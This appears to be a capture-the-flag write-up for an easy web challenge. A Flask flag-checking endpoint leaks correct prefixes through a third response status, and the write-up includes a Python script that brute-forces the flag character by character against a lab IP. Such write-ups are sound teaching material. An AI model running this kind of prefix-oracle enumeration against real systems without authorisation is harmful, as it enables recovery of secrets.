Flag checker
Flag checker
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: prefix_oracle_bruteforce, response_based_enumeration
Summary
Walkthrough of the CUSTOM Web Flag checker. Task: a Flask/Werkzeug web service lets users verify a flag through a separate /check endpoint. Solution: inspect the frontend JavaScript, detect that the API leaks whether the submitted value is a
Description
Теперь флаг прежде чем сдать на странице задания, можно проверить через специальный сервис.
English summary: the challenge provides a web service that checks whether a submitted flag is correct. The goal is to understand how the checker works and abuse any information leak in its responses to recover the full flag.
Analysis
Recon showed a simple Flask/Werkzeug application. The root page at / returned HTML that loaded /static/js/main.js, and the JavaScript sent POST requests to /check with a flag parameter.
The frontend logic showed that a JSON response with status === '1' meant the flag was correct. Manual probing of /check revealed an additional state:
{"status":"0"}for an incorrect value{"status":"1"}for the full correct flag{"status":"2"}for a correct prefix / partial match
This is the core bug: the validation endpoint leaks whether the supplied string is a correct prefix of the real flag. That turns the endpoint into a prefix oracle, which makes brute-forcing the flag practical one character at a time.
Useful fingerprinting detail:
Server: Werkzeug/3.1.6 Python/3.9.18
Solution
- Open
/and inspect the page source / loaded files. - Read
/static/js/main.jsand identify the/checkendpoint andflagPOST parameter. - Send test requests to
/checkand observe the three response states. - Start with the known format prefix
CODEBY{. - For each next character, try candidates from an allowed charset.
- If the response is not
status="0", that candidate extends the correct prefix. - Repeat until the service returns
{"status":"1"}.
Recovered flag:
text read-only • copy allowedCODEBY{REDACTED}
Final verification with POST /check returned:
json read-only • copy allowed{"status":"1"}
Proof of concept
python read-only • copy allowed#!/usr/bin/env python3 import requests import string URL = "http://62.173.140.174:16113/check" ALPHABET = string.ascii_uppercase + string.ascii_lowercase + string.digits + "{}_-!@#$%^&*()" flag = "CODEBY{" while not flag.endswith("}"): for ch in ALPHABET: candidate = flag + ch r = requests.post(URL, data={"flag": candidate}, timeout=5) status = r.json()["status"] if status != "0": flag += ch print(flag, status) if status == "1": print("Final:", flag) raise SystemExit break
The important idea is simple: any candidate that changes the response from 0 to 2 is the next correct character.
Key Takeaways / Lessons
- Mastering prefix_oracle_bruteforce, response_based_enumeration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-04 • CUSTOM • Flag checker • Difficulty: Easy